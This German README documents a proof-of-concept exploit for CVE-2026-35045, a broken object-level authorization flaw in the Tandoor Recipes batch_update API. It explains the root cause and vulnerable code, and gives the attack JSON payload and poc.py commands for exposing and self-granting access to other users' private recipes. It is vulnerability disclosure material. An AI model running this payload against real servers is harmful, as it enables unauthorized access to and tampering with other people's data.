
Proof-of-Concept-Exploit für CVE-2026-35045, eine Schwachstelle in der Objektzugriffskontrolle (broken object-level authorization) in Tandoor Recipes, die unbefugte Rezeptänderungen über den `batch_update`-API-Endpunkt demonstriert.
Der Endpunkt PUT /api/recipe/batch_update/ in Tandoor Recipes v2.6.1 erlaubt jedem authentifizierten Benutzer innerhalb eines Space, jedes Rezept in diesem Space zu ändern — einschließlich privater Rezepte, die anderen Benutzern gehören. Dies umgeht vollständig die Objekt-Level-Autorisierungsprüfungen, die auf allen standardmäßigen Einzelrezept-Endpunkten erzwungen werden.
Die Grundursache ist eine Verhaltenslücke in Django REST Framework: Listen-Aktionen mit detail=False rufen niemals has_object_permission() auf, sondern nur has_permission(). Der Queryset filtert ausschließlich nach space=request.space, ohne Prüfung auf created_by, private oder die shared-Liste. Ein Angreifer kann private Rezepte zwangsweise offenlegen, sich selbst dauerhaften Zugriff gewähren, die Berechtigungen anderer Benutzer widerrufen und Metadaten manipulieren — alles in einem einzigen API-Aufruf, der HTTP 200 OK mit leerem Body zurückgibt.
| Feld | Wert |
|---|---|
| CVE-ID | CVE-2026-35045 |
| GHSA | GHSA-v8x3-w674-55p5 |
| CWE | CWE-639 — Autorisierungsumgehung durch benutzergesteuerten Schlüssel |
| CVSS v3.1 | 8.1 HOCH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| Betroffene Version | Tandoor Recipes ≤ 2.6.1 |
| Anbieter | TandoorRecipes/recipes |
| Technik-ID | Name | Relevanz |
|---|---|---|
| T1078 | Gültige Konten | Angreifer verwendet legitime Anmeldedaten mit geringen Rechten, um die Autorisierung zu umgehen |
| T1565.001 | Manipulation gespeicherter Daten | Ändern privater Rezepte und ACLs, die anderen Benutzern gehören |
detail=False umgeht Objekt-Level-BerechtigungsprüfungenDatei: cookbook/views/api.py
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
serializer = self.serializer_class(data=request.data, partial=True)
if serializer.is_valid():
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space # ← Keine created_by- oder private-Prüfung
)
In Django REST Framework sind Aktionen, die mit detail=False registriert werden, Listen-Aktionen. Sie rufen niemals get_object() auf, was bedeutet, dass check_object_permissions() und CustomRecipePermission.has_object_permission() nie ausgeführt werden. Nur has_permission() wird ausgeführt — das prüft die Space-Mitgliedschaft, nicht den Rezeptbesitz.
PUT /api/recipe/{id}/ durchläuft den vollständigen DRF-Berechtigungsablauf:
get_object()
→ check_object_permissions()
→ CustomRecipePermission.has_object_permission()
→ verweigert den Zugriff, wenn das Rezept privat ist und nicht dem Anforderer gehört/geteilt wird
Der batch_update-Endpunkt überspringt diese gesamte Kette stillschweigend.
RecipeBatchUpdateSerializer legt die folgenden Felder offen — beschreibbar auf jedem Rezept im Space:
| Feld | Auswirkung |
|---|---|
private | Sichtbarkeit des Rezepts umschalten |
shared_add / shared_remove / shared_set | Zugriffskontrollliste manipulieren |
keywords_add / keywords_remove / keywords_set | Rezeptmetadaten ändern |
working_time / waiting_time | Zeitdaten des Rezepts ändern |
┌──────────┐ ① PUT /api/recipe/batch_update/ ┌─────────────────┐
│ Angreifer│ ─────────────────────────────────────→│ Tandoor-Server │
│ (Benutzer B)│ {"recipes":[2],"private":false, │ │
│ │ "shared_add":[2]} │ has_permission()│
└──────────┘ │ ✓ (Space-Mitglied)│
│ │
│ has_object_ │
│ permission() │
│ ✗ NIE AUFGERUFEN│
└────────┬────────┘
│
② Recipe.objects.filter(
id__in=[2],
space=request.space
) ← Keine Besitzprüfung
│
▼
┌────────────────┐
│ Rezept-ID 2 │
│ (gehört A) │
│ private=false ← gepatcht
│ shared=[2] ← selbst gewährt
└────────┬───────┘
│
③ HTTP 200 OK — {}
│
▼
┌────────────────┐
│ Angreifer (B) │
│ hat jetzt │
│ vollen Zugriff │
│ auf Rezept-ID 2│
└────────────────┘
requests-Bibliothekpip install requests
# Privates Rezept zwangsweise offenlegen und sich selbst Zugriff gewähren (Standard)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2
# Nur offenlegen (private=false setzen)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action expose
# Nur selbst Zugriff gewähren (zur shared-Liste hinzufügen, private=true behalten)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action self_grant